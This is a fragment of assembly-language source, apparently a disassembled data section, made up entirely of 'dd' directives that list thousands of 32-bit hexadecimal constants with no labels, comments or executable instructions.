		dd 5DF49921h, 20EF17CAh, 0BC4E1357h, 4B628073h,	0E9C7699h
		dd 0A394FEE4h, 0AC0BDEE1h, 0F3886B21h, 0E46500CDh, 0C6A41DE1h
		dd 0CB3847D2h, 0F97902DDh, 0D9052BC1h, 0CEE70049h, 5F3D36E0h
		dd 0CCBE6500h, 0BAB54AD9h, 0A2C20F4Dh, 5BAC485Eh, 0BF1E0486h
		dd 26D24CECh, 6234BEF1h, 20C85F2Bh, 725AA53Dh, 69AF1800h
		dd 0C1599777h, 6E9E398Bh, 0B10D1AFh, 1300AA1Ah,	733905BFh
		dd 1A61C19h, 0E8B0024Eh, 2F860F8Dh, 9EBA68Ch, 0E95F338Eh
		dd 0D3802010h, 6EC89351h, 41BFB040h, 97782CE5h,	0F338BE8Ch
		dd 102BC735h, 41C12AF0h, 0B65D2E31h, 0FEBB01A2h, 0E97312E2h
		dd 7515A548h, 31486EC4h, 0A1032D36h, 0B5B9C3BEh, 515D8C3Ah
		dd 0F14FBF02h, 5E5F604Eh, 5D2144A1h, 3AD8BF8Ch,	5A1705CBh
		dd 9A58329h, 0E908FE1Fh, 4B842F65h, 0A0A0BC24h,	971ECD42h
		dd 8F3755h, 0E91F3959h,	660B8991h, 0E77A38Ah, 0BB4936E5h
		dd 0DE94DE6Ah, 6EB63201h, 0BD513C5Eh, 89AF40E6h, 0CBBA9717h
		dd 9D69305Dh, 0B9AAA8EDh, 1A489F57h, 8B97D8B7h,	7056D391h
		dd 71389546h, 664980C8h, 7FDBBFFCh, 0B824269Ah,	1846D4CCh
		dd 0F2B8A04Fh, 29BC3C62h, 0D22B0104h, 0E995DC50h, 4BD00C4Dh
		dd 0F8366D8Fh, 28D21E3Ah, 6EB8FDA9h, 3159E717h,	2DC5EB04h
		dd 4076E212h, 5EB4FAA0h, 253B7C6Ah, 9637EE32h, 7124DCC7h
		dd 0C5A5FC82h, 5E186945h, 8E0059BAh, 0F52872CAh, 9F5ACF78h
		dd 0F7801C20h, 47945B1Ch, 30F32E12h, 27B29A88h,	27E90811h
		dd 0A80A23Dh, 56677CBBh, 575128F6h, 0DDFB4B9Fh,	129A3B2Ch
		dd 0FA521E85h, 19F016C5h, 13E9285Bh, 0AF860011h, 0A487A6D7h
		dd 6500F220h, 6F4F693h,	97F9054h, 0E1FFF143h, 76815337h
		dd 0E29622F3h, 7A13042Ah, 0A25FBC08h, 64F929A8h, 0D86F803Ah
		dd 0D0EB614Ch, 97D37057h, 0A7455194h, 5BB8376Dh, 0E335F00h
		dd 47FCDA4Eh, 709497C5h, 0FB134042h, 0E05AA660h, 9F6B98Fh
		dd 0AFB39682h, 0A1B08678h, 0E431A925h, 5D25A069h, 415C822Eh
		dd 7349E39Ah, 0D1807309h, 9A0060EBh, 0BBA07A07h, 4A04D02Ah
		dd 0B3C0CC06h, 0C0129B5Ch, 358133C8h, 3C4725FDh, 0D49455E6h
		dd 504D4001h, 343A8B0Fh, 910A94Fh, 661499B5h, 7BDB00EDh
		dd 0F4A76857h, 83952779h, 0FFF75864h, 0DC305E7Bh, 57FA8F00h
		dd 0BB58763Dh, 77F32525h, 660944ECh, 79C232BFh,	9D372D2Bh
		dd 0CEC9278Fh, 1A9360FCh, 0A6603379h, 94E53C97h, 56BDED05h
		dd 0C6AB80ACh, 0E916F561h, 2C2101A4h, 742F2F15h, 0C78E0219h
		dd 905DAEA5h, 0EAA27Fh,	0BED1DDE2h, 7A65A380h, 73C9864Ah
		dd 203F560h, 60590414h,	45E5F38h, 0D8BBFB25h, 0BD2C633Fh
		dd 6915923Ch, 2DDB40DEh, 4B125738h, 352E29CDh, 0E0B7B60Ah
		dd 120C88E6h, 0A39E78Eh, 0BBD8C917h, 9D09060Eh,	53BE4432h
		dd 8E12BD5Bh, 642E488Dh, 23C9C229h, 34E55007h, 0A8BC85BDh
		dd 2A122900h, 71DD428Ch, 0EB1A9780h, 680979F8h,	70230170h
		dd 0DCE022C8h, 3C028F1Eh, 467464E4h, 590D0718h,	0BB200BBFh
		dd 0F1DE4FCBh, 187B826Ah, 0CDE9ED5Ch, 0CB1CC135h, 569B6050h
		dd 92C8945Ah, 64E0062h,	79C0E39Eh, 0B2007F39h, 84289BD2h
		dd 8808E95Fh, 0A3012E1Dh, 766037BBh, 7E2350A5h,	3248B13Dh
		dd 1D987E09h, 0C68401A9h, 5BC599DAh, 0D9EFC014h, 5F0CA99Bh
		dd 61FDB079h, 42764BDh,	6D7D9D99h, 0B5F3B807h, 0BF931ADBh
		dd 0CE01D31Dh, 5676D0E4h, 5BF9FD41h, 3605282Eh,	8E933BDDh
		dd 0B5FC0BF4h, 7576738Bh, 4FF400F4h, 0B5F2368h,	2C1C8B1Fh
		dd 8E04BB56h, 1DBD1E3Eh, 0C01A88AFh, 3DE431D1h,	3E413512h
		dd 170D8104h, 0FBE2F5B8h, 60C56D1Ah, 0DF9E0A10h, 0ECB1EA4Fh
		dd 0AAB7806Bh, 0B44E946h, 487DFAh, 0A2D0B01Ah, 69CC6ED4h
		dd 0B6620391h, 0D0DF5304h, 80123960h, 4AA69D94h, 163019B2h
		dd 0C162050Fh, 0CC606FFEh, 0E20044EEh, 4B9F34A7h, 0E76BC4h
		dd 258030CCh, 32771E50h, 0B0DEAC24h, 7961C009h,	0B659AD11h
		dd 76C42800h, 3B4E11h, 0D6E2CD43h, 0E0A2640Ah, 3597FA73h
		dd 82169183h, 5E600CFAh, 9FD4E91Eh, 0DC5BA1D4h,	2E87407Ch
		dd 0A15B707Eh, 0F1009B81h, 0E9E007C0h, 0B8A204Ch, 7C59F85Dh
		dd 0D95AD00Bh, 0B7505B0Bh, 6027207Bh, 5BD6B966h, 0E78E2A5h
		dd 4016DB68h, 0D5E272B4h, 94B0109Eh, 4751328Dh,	52345658h
		dd 288AB57Fh, 9AD00B7Bh, 9042356h, 795F0920h, 0E1BCB347h
		dd 7BA70D4Ch, 4DCB164Bh, 0A0F7B64Bh, 1EE7123h, 6BE94995h
		dd 0A709870Fh, 800FF921h, 89BCEB80h, 12B595BDh,	0AD665C8Fh
		dd 0F70CBFBh, 14170073h, 600D7BD8h, 109F24ACh, 0C0D6F1h
		dd 69E33DB2h, 0A9E0C763h, 68B3AB17h, 3F072DA2h,	6B8F7Eh
		dd 9B1D6E87h, 862F93B0h, 0D8175BC4h, 8D7522C8h,	46EA2E07h
		dd 79095B99h, 901C54CAh, 7C8F2E5Eh, 563125B8h, 0DBF730C1h
		dd 5EC23C60h, 84469B04h, 31A0D8ADh, 0C49F4B22h,	0E0D3E6E1h
		dd 72D75FEh, 0BB57C876h, 0BC3B150Bh, 972B2019h,	0EC6049Ah
		dd 0A60411EEh, 0AAD0C869h, 0DB970AE8h, 0C4A1C97Fh, 81E19EDEh
		dd 9283B2B6h, 43CEF89Bh, 44B5BDF0h, 0D5FF00A6h,	3CE9B009h
		dd 0E0EBC5AAh, 5601CF24h, 5B7EA1CEh, 8A796A5Fh,	0B00D8BCh
		dd 306AC1D6h, 71D9CE5Eh, 8D291C60h, 44C26401h, 61CE9145h
		dd 29DB2031h, 0B9090FD2h, 0D112B2D9h, 54D00C6h,	59DC088Fh
		dd 2F0885Eh, 3A7F02F1h,	0D0C50A11h, 0F3848685h,	0DD8926C2h
		dd 868D3112h, 224DCD3Eh, 0DBF69347h, 9DF327A0h,	26AD68C4h
		dd 0F2D24AE9h, 824A8826h, 144DB529h, 0D682A974h, 5E5E0A8Eh
		dd 49FA11FAh, 123BAC8Fh, 30144334h, 3F5350Bh, 0FD754E07h
		dd 2150D707h, 48C4242Ch, 0C5105832h, 0CE5B2630h, 11946DCh
		dd 33CC5898h, 353ACA65h, 0E53F3006h, 8C00E2B3h,	0FBD3603Ah
		dd 4171ACh, 8320DBA2h, 0AECF81B8h, 3E158A05h, 6301E95Fh
		dd 0FFE5EFF5h, 0ECA5B7E8h, 988F0515h, 20427254h, 5BD095Ch
		dd 0C9D0A4Eh, 26FDEA89h, 0C2C50B11h, 3B71F35Eh,	0FDFBBF11h
		dd 0BF042E86h, 0D3BCB127h, 0E0A9B6D2h, 38097C85h, 525FC669h
		dd 2714EF74h, 61F6127Dh, 8BDFD0F2h, 76DE0C82h, 209D8950h
		dd 0E90E0D25h, 32FFF2F7h, 1AE085E6h, 0FB6129B3h, 0C18BFF88h
		dd 0C6B8DD2Dh, 0EEDF4209h, 59A97B9Bh, 2DD181Bh,	60677612h
		dd 5E78D746h, 92902A38h, 8EF3850Fh, 0B5F2D213h,	787EFE97h
		dd 0BEE900DCh, 8969C868h, 2A5F5D8Dh, 54BAB8D4h,	9517DAF4h
		dd 0B0C28D04h, 4C59EA72h, 78B79F1Fh, 0D330A496h, 20DF6BAh
		dd 244BE2Dh, 3A512AFEh,	11838700h, 13C191h, 9EF7D39Ch
		dd 822F22A2h, 2B6D5509h
		dd 5CA792BDh, 0DABF8731h, 0F58F4550h, 6652DC72h, 0A4E4BB1Fh
		dd 34A23112h, 0D180F53Dh, 26FA9C6Ch, 5E00839Eh,	0A133683Fh
		dd 17C973E9h, 0F9585AB8h, 0B0ECCBh, 0DB80852Ch,	9BD318Dh
		dd 17A92852h, 0A8328E0Fh, 945C128Bh, 0F8522337h, 1A989857h
		dd 0F98A00F4h, 52DD3D7Ch, 0EE955F5Eh, 36D9D8Ch,	4C715140h
		dd 8FDD05C8h, 0B01F8BD0h, 0B8972C43h, 13B3A6h, 11BBD1FFh
		dd 80509851h, 0E52AC325h, 0BF5A128Eh, 8709AF7Bh, 648E4126h
		dd 2DB2A6Ch, 0DCF0B6h, 0AB1250E9h, 3E0B60C2h, 42944B4Eh
		dd 20B59FDCh, 0E91211C1h, 62F20F75h, 7D0963C9h,	807A1D5Bh
		dd 0A5D4CFDDh, 3193276Eh, 450E11B7h, 0A2AA6063h, 581A7776h
		dd 9D4B7B55h, 0B96A3F88h, 90B4077Bh, 81F8E61Fh,	0C5F3DFBFh
		dd 89EA3C2Ah, 0B55378DEh, 4CC2446Fh, 563B621Eh,	4FC5A59Ah
		dd 73A1A58h, 58F508EEh,	53112243h, 2F5F2EE9h, 0EA64675h
		dd 0A9AFD8A0h, 0B9DCE800h, 80FBDFF5h, 20274BE7h, 0DB93B849h
		dd 9DDE130Eh, 41ED20DCh, 0B0B45F06h, 2CE920C0h,	0FF6A5B12h
		dd 0DEB8B0F9h, 6739D117h, 24E10005h, 4D13C6E2h,	0EDDD049Fh
		dd 0A242BC28h, 0BD23212Dh, 0B08353D5h, 0F129BB80h, 0E667CC02h
		dd 5C8D0F70h, 45F7606Eh, 0EB95B79Fh, 1AA5F9C8h,	8B880118h
		dd 399197F9h, 84E80CF8h, 55E1EC00h, 97E517CAh, 810F2951h
		dd 6C5B1CF8h, 8B3F21F4h, 0CC026E3Fh, 45E05660h,	5A8104EDh
		dd 961CFECh, 336D9501h,	0D864CDF4h, 0BB0001BCh,	7AA21280h
		dd 40FDC82Bh, 30496A2Dh, 803BE700h, 8B5FD6CBh, 9C10A8D1h
		dd 11A7CEEh, 7DF38132h,	715BD7DFh, 8A2DC2CCh, 2353903Bh
		dd 0C412D9Dh, 53EE0B2Bh, 7D1C1F44h, 0D0C79EB8h,	36606509h
		dd 0D75B4245h, 708AE32Ah, 18EE0A00h, 5339253Bh,	0DCB4092Dh
		dd 77A8045h, 71291744h,	7008609Dh, 5039C381h, 0E92E9A0Dh
		dd 0D3EC233Ch, 431617A4h, 0C22EA813h, 5051BD0Bh, 2149713h
		dd 8A9C0F95h, 0C83B18A5h, 24611227h, 7A132094h,	971C87B0h
		dd 0A8200294h, 26BB1FDDh, 922D2DCh, 0E272111Ah,	0DE87B4h
		dd 3A98551Fh, 0FADD264h, 0B65F32Ch, 5E172D09h, 0D16D5AAFh
		dd 67C82660h, 81AB01B7h, 0B99D5EC7h, 25E3C915h,	5BDFEC5Fh
		dd 38A95412h, 0F1CED88h, 1BF9C308h, 0DCBB2AC0h,	0E3057482h
		dd 9A1449D6h, 0E7FBD4C1h, 0FCE1F941h, 79C07F5Ah, 6C5D56ECh
		dd 0EB7F2801h, 0B8FCED26h, 0CBEF5DC2h, 50864C62h, 0F4C917C7h
		dd 9D89302Dh, 0D9038809h, 0D7FB2C9Eh, 9968BBE2h, 91310FA3h
		dd 4B61E5E4h, 0F86FBDBAh, 0D42F0064h, 0C60F3AC5h, 600984DBh
		dd 64A1CF80h, 2D10081h,	8DD969C9h, 76075B77h, 2C7336FEh
		dd 0DAD15E49h, 0F750727Bh, 120FEA5Dh, 0EBF3FF29h, 85913B37h
		dd 0BF0021C1h, 6813FB49h, 6C305358h, 0B3692F4h,	603FA6FFh
		dd 315AE0F8h, 6069F38Dh, 7E0268A8h, 0C5BB6662h,	296675h
		dd 2E1CE195h, 591FA9CCh, 1817F978h, 59F7880Dh, 89FC4BB0h
		dd 8EBD852Dh, 0AF0DF21Ah, 6D3CF7F5h, 80919BD2h,	6A349469h
		dd 6566C435h, 0B4F9BC1Ah, 0B6A838BDh, 1864D0Eh,	45BD4457h
		dd 0BB5B4AD0h, 0E70513AFh, 0B505A267h, 94C7079Bh, 0A5350DFh
		dd 2227E85Fh, 69E58E6Dh, 8924D986h, 1BD11489h, 294181C4h
		dd 2031995h, 0F018DD53h, 0E1044E97h, 5FE7E567h,	7AAFF995h
		dd 5C2C1324h, 1FEDDE04h, 865275BAh, 1D201CEBh, 0E1FF2704h
		dd 6202AB37h, 5727789Dh, 3326110h, 0C2375D00h, 7139A374h
		dd 739A0EA4h, 42493B0h,	0A302E82Eh, 0B704E477h,	0A7F5BC5Bh
		dd 777BF29Fh, 0EF179212h, 0DF128DF3h, 84F7F2AEh, 9D49041Ah
		dd 6075A777h, 0E6B0BF10h, 5685C15h, 6124407Dh, 9DE6A197h
		dd 0E4193031h, 2F8C29C9h, 2F7301C8h, 988B44D2h,	0A105094Bh
		dd 4674238Eh, 25D68CE8h, 0BC59A525h, 0CF43E61Ch, 0B08ABBF8h
		dd 0B4037Bh, 71AE3ADAh,	2114CEB3h, 6111BA25h, 0E6A75BF3h
		dd 9A97ACF2h, 0DCCBD415h, 0F35E6F04h, 0ACBE0E8Ah, 885C80F5h
		dd 757A1B52h, 9012139Ch, 0DCF260h, 82A580B0h, 0A2B923h
		dd 9C97E4E3h, 10848B37h, 5A00F0E6h, 0B938B360h,	38BB47CAh
		dd 50AD6163h, 768B1D90h, 7435AE00h, 173C648Ch, 0BB1A077h
		dd 40FDBEE9h, 608DB812h, 0B8D52C3Ah, 0FFB48986h, 40125E54h
		dd 73436134h, 3630B2Ch,	0A76F9012h, 0EC2CA905h,	1C0C13Bh
		dd 92B3010Dh, 4383447Fh, 0F96F2D5h, 40015B88h, 0E0DE2CD3h
		dd 0E4E37A66h, 0AE4F3D0Ah, 0CCA76800h, 4BBFE275h, 580EF9B8h
		dd 82240481h, 0F31DA937h, 1AF97009h, 0F59D074Bh, 0FBC1415Ah
		dd 298F0F4Ah, 9BB3BC6h,	0D129763Fh, 0CBE984DEh,	0E885ED01h
		dd 909A006Bh, 0D6BBD405h, 0CB0481B1h, 4F7FCE11h, 0A74BCBE8h
		dd 0CA12B03Dh, 268D04CEh, 0E8AD062Fh, 0BD09C1CBh, 8B2E0DE1h
		dd 0F59A4ACFh, 3526419Ch, 6C2308FCh, 0CACD4B04h, 0F4299902h
		dd 0BB068025h, 3343F2D0h, 6D4B1599h, 411A40B9h,	0C295BD35h
		dd 6AC55EC4h, 33B90854h, 870F5004h, 862ADE89h, 0DAEA0D36h
		dd 8B094DBEh, 0B1B1D1DFh, 2150D52h, 1978DAE8h, 381F03FFh
		dd 895688D9h, 600EA40Dh, 88F3C493h, 5C951306h, 1DBB8BAAh
		dd 5EB828BFh, 899A6470h, 111174EAh, 30215060h, 220166B1h
		dd 0EA812ECBh, 6E3B5861h, 136304A4h, 4AFFF86h, 0E8A87A7Dh
		dd 0FDED96DFh, 0F7F80BBCh, 0D3FA8604h, 93A29077h, 49E60800h
		dd 999E7C04h, 1CAC434Eh, 457597D0h, 7E3D3109h, 90F8B431h
		dd 9DDBA48Eh, 85DEF9F2h, 70F8FAB7h, 0CD5FD580h,	19007A46h
		dd 7BA36E75h, 433712Eh,	0FC4DFF8h, 5F4291A0h, 0B8132961h
		dd 0BEED3F93h, 4BFEB93h, 0EE488D2Ah, 0B056238Ch, 0E7E79535h
		dd 0EABD1C28h, 51CF5C0Eh, 89278235h, 72A45B5h, 96F359E9h
		dd 2594ECD8h, 690E88E9h, 14BB0210h, 7468D466h, 4D4B77D1h
		dd 7F384011h, 0A6178A7Bh, 0A331850Fh, 295A3FE3h, 0CBC83AC0h
		dd 75962B9Ch, 3BF22640h, 0A4E6A097h, 88841343h,	8802B2CAh
		dd 0BB668245h, 0FF961705h, 4B23346Ah, 0F8AB00DEh, 0BBDDF3E7h
		dd 6E133BD1h, 0ACA2FC23h, 98127700h, 0B1042C81h, 4F719202h
		dd 0E05386AFh, 7676DF38h, 0EC359D8Ah, 0D811791h, 2EACF9DAh
		dd 0DF26DE9Dh, 0B64F02B0h, 0DF09A17Fh, 0D5328B92h, 13789009h
		dd 1CDE1FBCh, 41A39605h, 86DC5F5Eh, 0CB2D30B2h,	46476E27h
		dd 0B2334FE8h, 60535F30h, 3A1D0652h, 64C96DA5h,	0C7B86016h
		dd 0BD891F7Fh, 0DBD3A52Dh, 0DAB7ADh, 9911BB35h,	120A9B8Ch
		dd 9ADE8B74h, 98F381C0h, 5D9D27DDh, 477B7C4Ah, 0F6C0F4D1h
		dd 758D1289h, 1000A926h, 0CC4B2435h, 57506060h,	5858FBA2h
		dd 0DA17C209h, 717B5E3Bh, 0D2E83961h, 0AAA41CA6h, 151616C0h
		dd 0D952E31h, 0FA88B039h, 0FB95C283h, 0E0C781Bh, 5184B14Eh
		dd 0C0E41CA6h, 7EEA76BBh, 0E8818C4Fh, 343A4D69h, 0C76EEE4Ch
		dd 0E0F8915Ah, 5DF93065h, 71B2354Bh, 0A801FDD3h, 0AD090028h
		dd 463877F4h, 48C1797Fh, 64D9D23h, 0FF24C662h, 59E6CB8Ch
		dd 0DE4EBFFEh, 0F5E88DB0h, 44DA8610h, 1C32EE24h, 5FCFC100h
		dd 4E8B310Fh, 506AB2D8h, 0A3137DD0h, 69307CDDh,	4068A6h
		dd 8AE70942h, 47214B6Ah, 0F5A89007h, 80D201F8h,	35BF1407h
		dd 9E2B27C7h, 3A79C010h, 0D2514B02h, 57F9CDB8h,	0F098DD46h
		dd 0F06135A2h, 8ECD2E5Fh, 3309C701h, 0B844743Ah, 0A54E7D34h
		dd 0E177498Ah, 80D9DE7Ah, 0F6E55431h, 4DC21326h, 0BF6302DAh
		dd 0ABA0BD23h, 5C19D01h
		dd 0E44AED97h, 0C2B76215h, 1EF251F1h, 0CEE6400Ah, 8FC64B31h
		dd 2D33FD97h, 4D68BC9Ch, 85B75E14h, 0E6535CB0h,	0AD91123Ah
		dd 1F0F0446h, 6DE20412h, 0B934B40Dh, 49772456h,	5BFE14EEh
		dd 9906C0F1h, 70EB699Bh, 54AA6498h, 5F1AF085h, 0BB5E189Dh
		dd 0C34013F2h, 9D57A211h, 258A9062h, 27DB3565h,	4041F0A5h
		dd 8ABEC622h, 0F7AFAE82h, 79E5D56h, 2560908Dh, 12D8409Eh
		dd 83F3D9D7h, 0E9C931A4h, 4C123A0Ch, 0FC02AF6Fh, 14C5D667h
		dd 0EA1F90A4h, 492D358Dh, 0DE0179A8h, 89A5C16Bh, 32C5E32h
		dd 0BEC780C0h, 339ADA8Bh, 59E3F397h, 0B57C1815h, 27A9E9C0h
		dd 4B8A5080h, 0BB1F90DEh, 6A5E4284h, 15C0D3DBh,	2EF20BD4h
		dd 88C44A0Bh, 0C993028Ah, 95C70E2Ch, 15F0A79h, 0D91436BFh
		dd 0CDD8851Eh, 6FFE1F5Dh, 5B8302E9h, 0C0AEDEF2h, 0D239BD78h
		dd 683AF175h, 873B83DBh, 41C5C863h, 0CC904DAEh,	0B3001122h
		dd 139E763Bh, 0E26F53h,	609708B0h, 0FCDE1096h, 614D6B76h
		dd 34205FD6h, 1D18E944h, 1F0E156Ch, 9B4E805Bh, 58ACF4A4h
		dd 4188F04Bh, 55E00083h, 1280C743h, 79094DFBh, 0F40E290Ch
		dd 984A567h, 9C95004h, 5905969h, 65BA2936h, 0C2BE9ADEh
		dd 602F104Dh, 0B538B688h, 2A34A88Eh, 0A06C948h,	7A33D488h
		dd 0FEDEE825h, 1646D6ECh, 1F11A90Dh, 3A29C56Ch,	8BE5675h
		dd 0FF1D11CEh, 0DC8BF465h, 4FBBB002h, 744B8639h, 7A5B5173h
		dd 7E377Bh, 2BB12FE7h, 6A8D9C55h, 0AFA0025Eh, 63908124h
		dd 63AD00CEh, 36B7DAEBh, 0C8C4000Ah, 8C30A825h,	0ACEC04E0h
		dd 50A17B16h, 16701EB0h, 52905FA2h, 874F609h, 880445BDh
		dd 0D7710CB9h, 0F1FB12D2h, 7C7E050h, 7F0F6997h,	0FF0B2288h
		dd 50655074h, 818142ECh, 0E44E2FFEh, 5E00ACB2h,	12140152h
		dd 9A957727h, 0DC2AB41Fh, 90B73472h, 98AF7904h,	0B9300010h
		dd 258F58E1h, 86001705h, 2845F40Bh, 581DF1Eh, 8C1678EFh
		dd 0F474BA44h, 0BFAB01BAh, 2EB58B80h, 7461CAD2h, 0B55D5260h
		dd 48D1237h, 81A2E68Bh,	2E26D567h, 3CB3A39Ch, 80926A34h
		dd 1263E8D7h, 0A2ED0CFDh, 0D90B9BE8h, 0FCF18B60h, 0CF171A9Dh
		dd 2213585Eh, 378825A2h, 2E3122B3h, 91ACB017h, 29BB0005h
		dd 0E679F935h, 81500070h, 0C7753BC3h, 0C49F5B60h, 619B0247h
		dd 0E9F40F58h, 0E30036D1h, 45DE4B29h, 6566007Ah, 0F463688Fh
		dd 5DE2D91Dh, 8A2667F8h, 0E02569DAh, 4639854Ch,	4DD27C1Bh
		dd 0C46E4BF5h, 69728125h, 745F0232h, 0EF804252h, 89C171E1h
		dd 0D118B54Ch, 27E22529h, 244FCCFCh, 0DDAF48F3h, 0C0DC0027h
		dd 64CC5BC4h, 542B8FA9h, 3F6CC8h, 0DBDDBCF1h, 8C81F875h
		dd 492EE300h, 982B1E5Ch, 40126940h, 96C1A5Fh, 0B47B7AB3h
		dd 0D2D19EFh, 38133AFBh, 0C9C6F3FDh, 0E16D3693h, 0FCC126C7h
		dd 3125703Ah, 345A8D9Dh, 5B8C15C9h, 812346E9h, 244BE304h
		dd 8CBA2FE5h, 24EB3B3h,	34FB2184h, 0B2528C96h, 447F7B00h
		dd 887ECE7Dh, 838900B4h, 0D19C19F3h, 703CBDCFh,	29A5A852h
		dd 932E295h, 937DE6Eh, 2FD3EE1Eh, 3FE75E08h, 0F12D13F4h
		dd 0EA0A13CEh, 2F04636Fh, 0BF8B4E38h, 47E9AD9h,	0A12AB930h
		dd 0F0B9665Ah, 0E866C7h, 0A0D823D3h, 618531A8h,	0FCBE119Dh
		dd 50B6E2Fh, 0FC236194h, 0B7E059B6h, 0B64A4227h, 2212682h
		dd 53F0C02Bh, 0E4F59025h, 0F47097EAh, 18A6D84Bh, 0EEF3698h
		dd 0DB0D5Ah, 3BF0AF9Eh,	4F231940h, 126FF9BDh, 0D0DE880Dh
		dd 87CD06C0h, 47011055h, 0BD097819h, 742F2A8Dh,	5840B966h
		dd 8C1DF83Dh, 55733500h, 3806D094h, 3A31256Fh, 5BE939E5h
		dd 0FB650E0h, 2775DEA0h, 9BE6080h, 55F62B7h, 9C000144h
		dd 327FB976h, 0C61ADA4h, 0EC1351BAh, 254DB598h,	0CA5B3ED9h
		dd 7212F06Eh, 8866F237h, 4BA0A847h, 0F07EA7FBh,	16A6B4h
		dd 0E15B28F8h, 3C781EAh, 0C731B13h, 4B3A0DF0h, 8160CDB9h
		dd 7954CB16h, 8430E1FFh, 0CA174B7Fh, 374162Ch, 0DBA048B7h
		dd 0BF0040AEh, 3975E3E5h, 97DFB70Fh, 5C6B5094h,	12955659h
		dd 0B15FA82Ch, 27B11386h, 3A60F946h, 0F500446Eh, 3E338FB6h
		dd 0B7E2D523h, 940169Eh, 0E25FD72Eh, 7EC80E57h,	7A40B5C2h
		dd 4006285Dh, 5E598B97h, 0CD4BDC5Dh, 919B6FC4h,	9374AED3h
		dd 7DF3F980h, 0D4374BD6h, 6D478992h, 0E4F3B898h, 76CDB0BAh
		dd 0CDFF4ABFh, 50372E7Bh, 4EBAFEC5h, 0BFA0F9B0h, 6837770Fh
		dd 7FC78D6h, 0E8E4DB45h, 0D53C25EBh, 0F0179AC1h, 0C79B2AE2h
		dd 24B54E78h, 9566E66h,	9F7361CFh, 2ECB5ADh, 0A535391Fh
		dd 269965Ch, 9216DACh, 12918402h, 0E883E902h, 13DBFE4h
		dd 92644FBh, 2E351985h,	802F4F9Dh, 0FDF3817Ch, 66B3D112h
		dd 0B05B6AE3h, 3A9735E3h, 5EAC096Ah, 0D614EA12h, 45495900h
		dd 0DB52FABh, 68925EAh,	59B5D964h, 35A8B0Ah, 0D09D81C4h
		dd 15EA00E1h, 3D66021Ch, 6816030Fh, 0DBEDC097h,	0B8C17ACh
		dd 0E8D59C3Dh, 2A959C82h, 0F545805Ch, 77A04A0h,	605096B4h
		dd 17581753h, 6EFC8961h, 99958D20h, 4DF8BB7Ah, 68280278h
		dd 0F36E568Eh, 0BA00E246h, 29954E63h, 1949E5h, 0ED0F271Ah
		dd 9D5BB442h, 71094692h, 0B70CB0ADh, 0B26F82EAh, 55D9858Dh
		dd 0EE1817F9h, 0E745DD16h, 0F11488C7h, 9B2ADCB1h, 0F233C03Bh
		dd 0C67886h, 0F6BF566Eh, 5F0BA45Ah, 9135359Dh, 0F5178318h
		dd 80E980EDh, 61BC27EFh, 334181D8h, 5925CF2Bh, 4E9DACD9h
		dd 0A1C1A036h, 4F392EFDh, 57B320CAh, 0FC323E9h,	843DB531h
		dd 5CF8AC92h, 0BBC07529h, 5A85C305h, 844BDB6Fh,	60C5C41Ch
		dd 0B13150D3h, 8E2E08D5h, 5FFE3500h, 7F273942h,	0A48E775Fh
		dd 62B5A9DCh, 4F7703E6h, 7DD949EFh, 1108AB24h, 8D89021Bh
		dd 80F31899h, 3F830F8Dh, 0A7B157C2h, 0C05F1308h, 12FA7FB1h
		dd 0B3CEDCA7h, 24F64AC2h, 0ED6B9AE0h, 2A8F2626h, 6FEB4504h
		dd 23A66BAFh, 0DBC0319h, 0B3A8BA8Bh, 7DED96F9h,	3DEB1E7Ah
		dd 42A05312h, 0F480AE5Fh, 0BD9995F9h, 3271D809h, 0A54BE595h
		dd 3B50C6F3h, 68EC016Bh, 5E9FE156h, 49C73023h, 3EF2224Ah
		dd 0A845BDD2h, 0D3A525B3h, 4D9DB666h, 0F29C1B8h, 64312A8Ah
		dd 81001461h, 4B12BCC7h, 0CAB64177h, 723017B2h,	0D1C53295h
		dd 40DC7962h, 54C64225h, 1302DCA5h, 7386CF54h, 0CBCFE17Ch
		dd 953E2FC4h, 3157CF89h, 7DEEBD18h, 0B5535889h,	50F9D3A7h
		dd 6C1680A1h, 0B1E2BA5Dh, 108C4000h, 44FC11B4h,	0BBCC5B4Ah
		dd 0FD9D2F2Bh, 0F6792012h, 8F691700h, 0F6A5ACh,	6CD9FE6h
		dd 3287053h, 45749324h,	0BD891A02h, 4A3D7035h, 0C86BDA5Fh
		dd 0AE66C019h, 0B22408E5h, 0FA138275h, 691613ECh, 3EC1CDC1h
		dd 2939D981h, 25205823h, 0F6506127h, 24340B34h,	3CC094EDh
		dd 9310C1h, 4074A9F3h, 15BD315Eh, 0A0542E4Ch, 1651CF81h
		dd 0E9735720h, 0AD1BD52Eh, 916986C9h, 0BFC3C758h, 0AFD8F9ABh
		dd 52038C9Ah, 5633A7F7h, 0CFAC9C8Ah, 0E52840A2h, 2458206Fh
		dd 2D1D60h, 1BB17F4Eh, 0C99E2C93h, 831ABD02h, 0E05FE3FAh
		dd 6E800FB9h, 52EB391Eh, 0C000B3D9h, 5E2A34D4h,	3F980040h
		dd 0A92A0E2h, 314E0F18h, 5AC29CA8h, 93B29658h, 14D9F02h
		dd 9DAD5029h, 0BBFC375Dh, 8A513382h, 5CDE0B54h,	85581F26h
		dd 8D298806h, 0B5B79095h, 9C2BE1DDh, 12B866F6h,	44961495h
		dd 0B5100160h, 0E6A5275Dh, 85FBE487h, 822724F6h, 1DF04100h
		dd 0DFDEC65Fh, 10309C87h
		dd 0A85E02E4h, 0BBE84301h, 28BD840Ah, 112CE2Bh,	74E9FAB7h
		dd 5EC6FFF4h, 0E700DCC0h, 27168F73h, 4C668A3Bh,	8470D835h
		dd 0BC50C159h, 566100F1h, 4054B678h, 99B00A7Eh,	58F0382Dh
		dd 54D38AD3h, 6756A5B8h, 45F500F4h, 7DF7488Fh, 0ECF15B4Fh
		dd 0BF0B5157h, 707F0E24h, 0DF90BF40h, 4D9D6AD8h, 0D3BDE054h
		dd 0A5488BA6h, 5AD05B00h, 261FD781h, 0A45784A9h, 3E04DEFCh
		dd 0AE68F4B0h, 5F007EB2h, 0A9CF9D63h, 430090C8h, 68DFEC50h
		dd 508EA3D3h, 2ED29FACh, 0F4231F6Ch, 9C487E00h,	43DA4FF6h
		dd 0E2954AA2h, 0B60107B3h, 3EA005B3h, 1268312Dh, 0B103DF80h
		dd 2BB5F5F9h, 0A76F2194h, 2A763F03h, 404B8848h,	42E01AE6h
		dd 513EAA10h, 5DBE92A3h, 75C620AAh, 0D2006EE2h,	0DBDF157Fh
		dd 0F6B3A7CFh, 0A16AD75Fh, 0BE752A56h, 0D184D8DAh, 0AE3DC56Ah
		dd 1D23B56Bh, 83CA1901h, 27F0E2AAh, 54B72788h, 0D1FF6DC0h
